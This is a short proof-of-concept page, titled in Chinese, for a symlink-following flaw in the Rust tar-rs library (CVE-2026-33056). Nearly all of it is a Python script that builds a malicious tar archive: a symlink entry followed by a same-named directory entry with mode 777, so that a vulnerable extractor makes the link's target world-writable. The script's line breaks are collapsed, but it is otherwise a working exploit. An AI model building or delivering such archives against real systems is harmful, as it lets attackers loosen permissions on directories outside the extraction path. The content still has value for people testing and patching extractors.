CVE-2026-33056 tar-rs 符号跟随致目录权限篡改漏洞

import tarfile import os # Create a malicious tarball that exploits CVE-2026-33056 # Structure: # 1. Symlink: 'safe_dir' -> '/tmp/real_target' # 2. Directory: 'safe_dir' (triggers chmod on the symlink target) # Ensure a target exists for demonstration purposes target_dir = '/tmp/real_target' if not os.path.exists(target_dir): os.makedirs(target_dir) filename = 'cve_2026_33056_poc.tar' with tarfile.open(filename, 'w') as tar: # Step 1: Create a symlink entry # This creates a link named 'safe_dir' pointing to an external directory symlink_info = tarfile.TarInfo(name='safe_dir') symlink_info.type = tarfile.SYMTYPE symlink_info.linkname = target_dir tar.addfile(symlink_info) # Step 2: Create a directory entry with the SAME name # When tar-rs processes this, it checks metadata('safe_dir'). # Because of the bug, it follows the symlink to '/tmp/real_target'. # It then applies chmod to '/tmp/real_target'. dir_info = tarfile.TarInfo(name='safe_dir') dir_info.type = tarfile.DIRTYPE # e.g., setting permissions to 777 dir_info.mode = 0o777 tar.addfile(dir_info) print(f"[+] Created exploit archive: {filename}") print(f"[+] Extracting this with vulnerable tar-rs will chmod {target_dir}")